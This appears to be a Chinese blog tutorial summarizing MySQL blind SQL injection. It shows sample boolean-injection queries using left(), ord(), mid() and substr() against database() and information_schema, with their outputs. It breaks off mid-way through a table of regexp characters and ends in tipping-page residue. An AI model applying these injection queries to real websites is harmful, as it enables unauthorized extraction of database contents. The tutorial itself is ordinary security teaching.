mysql盲注总结

1、盲注概念

盲注的概念:盲注不同于联合注入等可以回显数据的注入。在 sql 注入过程中,sql 语句执行完成后,这些数据不能回显到前端页面,这种情况下我们不能通过页面的响应来直接得到我们想要的数据。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注分为三类:布尔盲注,时间盲注,报错盲注

2、布尔注入

布尔注入的核心思想是构造逻辑判断语句,利用对错、是否、0和1等具有逻辑性的组合来判断我们想要的数据是否存在或是否正确。

常用函数有left(),mid(),substr(),ord()

left(string, n):string为要截取的字符串,n为长度。

例如:

select left(database(),1)='w';
//猜数据库名字的第一个字母,错误返回0;
+------------------------+
| left(database(),1)='w' |
+------------------------+
|                      0 |
+------------------------+

select left(database(),1)='s';
//猜数据库名字的第一个字母,正确返回1;
+------------------------+
| left(database(),1)='s' |
+------------------------+
|                      1 |
+------------------------+

ord(string):返回字符串的ASCII代码

例如:

select ord('s');
//查询字母s的ASCII代码
+----------+
| ord('s') |
+----------+
|      115 |
+----------+

select ord(left(database(),1))=115;
//结合left()函数,查询数据库第一个字母的ASCII代码是否为115
+-----------------------------+
| ord(left(database(),1))=115 |
+-----------------------------+
|                           1 |
+-----------------------------+

mid(string, start,[length]):截取字符串的一部分,start为开始位置,length为截取的长度,可省略。

例如:

select mid(database(),1,1)='s';
+-------------------------+
| mid(database(),1,1)='s' |
+-------------------------+
|                       1 |
+-------------------------+

substr()和mid()函数实现的功能是一样的。另外还有一个substring()函数,也是一样的功能。

跟ord()函数作用一致的还有ascii()函数

上述函数在注入的时候只需要把string改成我们构造的语句就可以了。

例如:

select substr((select table_name from information_schema.tables where  table_schema=database() limit 0,1),1,1)='s';
+-------------------------------------------------------------------------------------------------------------+
//将substr中string的内容换成我们构造的SQL语句,我们就可以得到我们想要的,像这个语句中,我们就可以知道,当前数据库的第一个表名的第一个字符不为s
| substr((select table_name from information_schema.tables where  table_schema=database() limit 0,1),1,1)='s' |
+-------------------------------------------------------------------------------------------------------------+
|                                                                                                           0 |
+-------------------------------------------------------------------------------------------------------------+

此外,我们还可以用正则匹配注入以及like注入

regexp正则注入

其中可以使用的正则表达式字符有以下这些

字符 描述
$ 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 \$。
( ) 标记一个子表达式的开始和结束位置。表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)。
* 匹配前面的子表达式一次或多次。要匹配 * 字符,请使用 \*。
. 匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. 。
[ 标记一个中括号表达式的开始。要匹配 [,请使用 \[。
+ 匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 \+。
? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xingyuzhongxuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值